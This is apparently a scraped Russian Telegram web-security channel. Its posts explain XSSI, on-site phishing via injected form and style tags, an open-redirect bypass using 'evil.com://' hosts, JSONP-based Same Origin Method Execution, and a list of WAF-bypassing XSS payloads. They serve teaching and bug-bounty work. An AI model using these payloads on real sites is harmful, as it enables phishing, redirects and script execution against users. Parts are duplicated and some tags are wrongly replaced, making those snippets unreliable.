Что будет, если скрестить XSS и CSRF? Получится XSSI.
👁 Cross Site Script Inclusion (XSSI) — это техника атаки (или уязвимость), позволяющая злоумышленникам похищать данные определенного типа через origin boundaries (дословно «границы сайта»), путем включения целевых данных с помощью тега SCRIPT в веб-страницу злоумышленника, как показано ниже:
Браузеры исполняют все скрипты, загруженные через тег <noscript>, в едином глобальном контексте страницы. Это означает, что когда внешний скрипт загружается через <noscript src="...">, его код выполняется как часть основной страницы, и все объявленные в нём переменные, функции и данные становятся доступны для другого JavaScript-кода на этой странице.
Один из примеров, который мне понравился:
HTTP ответ при посещении URL
Зловредный код на подконтрольном злоумышленнике ресурсе:
В итоге, когда браузер попробует отрендерить CSV как JS-код, это приведет к раскрытию данных злоумышленнику (см. вложенную картинку).
Ресурсы для самостоятельного изучения:
- https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/13-Testing_for_Cross_Site_Script_Inclusion
- https://www.mbsd.jp/Whitepaper/xssi.pdf
- https://www.scip.ch/en/?labs.20160414
<SCRIPT src="http://target.example.jp/secret"></SCRIPT>
Браузеры исполняют все скрипты, загруженные через тег <noscript>, в едином глобальном контексте страницы. Это означает, что когда внешний скрипт загружается через <noscript src="...">, его код выполняется как часть основной страницы, и все объявленные в нём переменные, функции и данные становятся доступны для другого JavaScript-кода на этой странице.
Один из примеров, который мне понравился:
HTTP ответ при посещении URL
http://victim.com/service/csvendpoint:
HTTP/1.1 200 OK
Content-Type: text/csv
Content-Disposition: attachment; filename="a.csv"
Content-Length: 13
1,abc,def,ghi
Зловредный код на подконтрольном злоумышленнике ресурсе:
<!--error handler -->
<noscript>window.onerror = function(err) {alert(err)}</noscript>
<!--load target CSV -->
<noscript src="http://victim.com/service/csvendpoint"></noscript>
В итоге, когда браузер попробует отрендерить CSV как JS-код, это приведет к раскрытию данных злоумышленнику (см. вложенную картинку).
Ресурсы для самостоятельного изучения:
- https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/13-Testing_for_Cross_Site_Script_Inclusion
- https://www.mbsd.jp/Whitepaper/xssi.pdf
- https://www.scip.ch/en/?labs.20160414
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4🔥1
Недавно зарепортил интересный недостаток, который достаточно высоко оценили с уровнем критичности high, но повысить impact получилось благодаря объединению двух low/medium недостатков.
На некотором ресурсе X есть возможность оставлять комментарий в формате Markdown с некоторыми html-тегами. «Опасные» теги, такие как
1. Тег
2. Тег
Но была возможность изменять глобальные стили страницы с использование dangling markup, который позволял выходить за контекст стилей комментария.
Например, данный код сделал текст комментария красным, а текст родительской страницы синим
Использование этих двух тегов позволило оставлять в комментах форму логина, которая выглядела идентично той, что используется в системе, но при этом скрывать весь остальный контент на странице через стили. Получается такая фишинговая страница прямо на странице целевого сайта. Данный недостаток уже оценился в high и вырос в цене.
На некотором ресурсе X есть возможность оставлять комментарий в формате Markdown с некоторыми html-тегами. «Опасные» теги, такие как
<noscript>, <iframe>, <img> фильтруются. Однако была возможность использовать другие интересные теги. 1. Тег
<form>. Первая мысль - создание поддельной формы логина. Уже неплохо, но выглядит немного странным наличие такой формы в комментах. Можно оценить в low/medium.2. Тег
<style>. Наводит на мысли о CSS injection. Если вы читали данный пост, то видели о возможности кражи данных HTML-страницы, например пользовательский ввод или csrf-токен. В моем случае не было ничего критичного. Но была возможность изменять глобальные стили страницы с использование dangling markup, который позволял выходить за контекст стилей комментария.
Например, данный код сделал текст комментария красным, а текст родительской страницы синим
<div style="color:red">LOL
<style>
* {
color: blue;
}
</style>
Использование этих двух тегов позволило оставлять в комментах форму логина, которая выглядела идентично той, что используется в системе, но при этом скрывать весь остальный контент на странице через стили. Получается такая фишинговая страница прямо на странице целевого сайта. Данный недостаток уже оценился в high и вырос в цене.
👍10🔥8❤1
Forwarded from SHADOW:Group
Год назад эту защиту нельзя было обойти, однако сейчас это стало реально. Про интересную особенность рассказали в X.
Дело в том, что раньше нельзя было использовать точку в протоколе, но теперь браузер Chromium ее поддерживает (
Соответственно, мы можем использовать пэйлоад типа
#web #bypass
Дело в том, что раньше нельзя было использовать точку в протоколе, но теперь браузер Chromium ее поддерживает (
URL вернет действительное имя хоста с любым недействительным протоколом, даже с точкой) Соответственно, мы можем использовать пэйлоад типа
evil.com://www.example.com. Хост www.example.com будет в списке разрешенных, к параметру добавится префикс «https://» и мы получим редирект на https://evil.com//www.example.com. #web #bypass
👍6
Задумывались о сомах?
Same Origin Method Execution (SOME) — это класс уязвимостей веб-приложений, при которых злоумышленник через параметр обратного вызова (callback) вынуждает браузер жертвы выполнить произвольный JavaScript-метод в контексте доверенного домена.
Звучит знакомо? Да, очень похоже на эксплуатацию классического JSONP callback, когда злоумышленник передаёт в параметре callback произвольный JavaScript-код (например, `alert(document.cookie)`), который сервер возвращает и браузер выполняет в контексте страницы. Однако, что делать, когда некоторые веб-сайты ограничивают параметр обратного вызова JSONP? Например, разрешены только определенные символы, такие как a-zA-Z.
Существует еще одно понятие, называемое Same Origin Method Execution (иногда еще называют Universal Reverse ClickJacking). Идея заключается в том, что, хотя мы можем вызывать только функции, мы также можем исполнять методы на веб-сайте с тем же происхождением. Допустим, на странице есть кнопка, при нажатии на которую происходит какое-то действие. Вы можете использовать JavaScript код, чтобы щелкнуть ее:
Поскольку символы в этом коде разрешены, вы можете поместить его внутри JSONP:
И использовать JSONP для выполнения кода, как упоминалось ранее. Похожее на XSS, но с более узкими ограничениями: злоумышленник не может внедрить произвольный код, но может взаимодействовать с DOM (кликать кнопки, отправлять формы, вызывать существующие JS-функции).
Данная уязвимость использовалась для обхода CSP и установки вредоносного плагина в WordPress: https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
Расширение BurpSuite для обнаружения: https://github.com/PortSwigger/same-origin-method-execution
Same Origin Method Execution (SOME) — это класс уязвимостей веб-приложений, при которых злоумышленник через параметр обратного вызова (callback) вынуждает браузер жертвы выполнить произвольный JavaScript-метод в контексте доверенного домена.
Звучит знакомо? Да, очень похоже на эксплуатацию классического JSONP callback, когда злоумышленник передаёт в параметре callback произвольный JavaScript-код (например, `alert(document.cookie)`), который сервер возвращает и браузер выполняет в контексте страницы. Однако, что делать, когда некоторые веб-сайты ограничивают параметр обратного вызова JSONP? Например, разрешены только определенные символы, такие как a-zA-Z.
Существует еще одно понятие, называемое Same Origin Method Execution (иногда еще называют Universal Reverse ClickJacking). Идея заключается в том, что, хотя мы можем вызывать только функции, мы также можем исполнять методы на веб-сайте с тем же происхождением. Допустим, на странице есть кнопка, при нажатии на которую происходит какое-то действие. Вы можете использовать JavaScript код, чтобы щелкнуть ее:
document.body.firstElementChild.nextElementSibling.click
Поскольку символы в этом коде разрешены, вы можете поместить его внутри JSONP:
?callback=document.body.firstElementChild.nextElementSibling.click
И использовать JSONP для выполнения кода, как упоминалось ранее. Похожее на XSS, но с более узкими ограничениями: злоумышленник не может внедрить произвольный код, но может взаимодействовать с DOM (кликать кнопки, отправлять формы, вызывать существующие JS-функции).
Данная уязвимость использовалась для обхода CSP и установки вредоносного плагина в WordPress: https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
Расширение BurpSuite для обнаружения: https://github.com/PortSwigger/same-origin-method-execution
👍8
Forwarded from Пакет Мероприятий | Кибербезопасность
Что – ZeroNights
Где – Санкт-Петербург, LOFT HALL #7
Когда – 26 ноября
⛓ Ссылка – zeronights.ru
📝 Думаю, что про эту конференцию и так все знают. На такое мы ходим.
🗓 Твой Пакет Мероприятий | 🗓 Наш календарь
🛍 Другие каналы
Где – Санкт-Петербург, LOFT HALL #7
Когда – 26 ноября
Please open Telegram to view this post
VIEW IN TELEGRAM
👍4
Совершенно неожиданно выиграл книгу от @study_security. Неожиданно и приятно :)
Благодарю!Придётся Будем развиваться.
Благодарю!
🔥6👍2
100 лет не CTF'ил и решил вспомнить молодость, вылезти из пещеры и поиграть в составе команды SiBears на VolgaCTF. Это был мой первый визит в Самару и очное посещение VolgaCTF.
Помимо участия в соревнованиях получилось пообщаться с некоторыми интересными людьми, послушать доклады (в этот раз было много про баг баунти), полутать мерча, а так же посетить похек (раньше я думал, что Похек - это безопасник из Бастиона 🌚).
В общем и целом, остались положительные впечатления за исключением того, что до Самары тяжеловато добираться😑
(вот вам несколько случайных фоточек)
Помимо участия в соревнованиях получилось пообщаться с некоторыми интересными людьми, послушать доклады (в этот раз было много про баг баунти), полутать мерча, а так же посетить похек (раньше я думал, что Похек - это безопасник из Бастиона 🌚).
В общем и целом, остались положительные впечатления за исключением того, что до Самары тяжеловато добираться
(вот вам несколько случайных фоточек)
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤9
Forwarded from Standoff Bug Bounty Tips
Главная цель — обход WAF, который блокирует типичные паттерны XSS.
Как это работает
onerror на eval позволяет выполнить сообщение об ошибке как кодБазовый прием — использование функции перед шаблонной строкой:
alert`test`
Более продвинутый вариант — создание функции из строки:
Function`alert\u00281\u0029` ``
Здесь скобки заменены на unicode-представление (
\u0028 и \u0029).Динамическое выполнение кода через
hash:Function`_${location.hash.slice`1`}` ``Ключевая идея: подмена
onerror на eval и создание валидного JS-кода из сообщения об ошибке:onerror = eval
throw '=alert\x281\u0029'
Сообщение об ошибке в Chrome:
Uncaught =alert(1), что является валидным кодом (Uncaught становится переменной).Без точки с запятой (используя блок):
{onerror=alert}throw 1Или через запятую:
throw onerror=alert,1
В Firefox формат ошибок другой, поэтому используются объекты
Error:throw onerror=eval,x=new Error,x.message='alert\x281\x29',x
Пейлоад через regexp и конкатенацию:
throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337,3331,117]+a[13]
Здесь:
a[12] и a[13] извлекают ( и ) из строки функции URL/1/g — regexp, который в строке становится "/1/g"Uncaught /1/g(1337,3331,117) — валидный кодМанипуляция с
TypeError.prototype.name:TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']
Изменяется имя
TypeError, чтобы сообщение об ошибке начиналось с =/, формируя regexp, который комбинируется с -alert(1).Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5❤3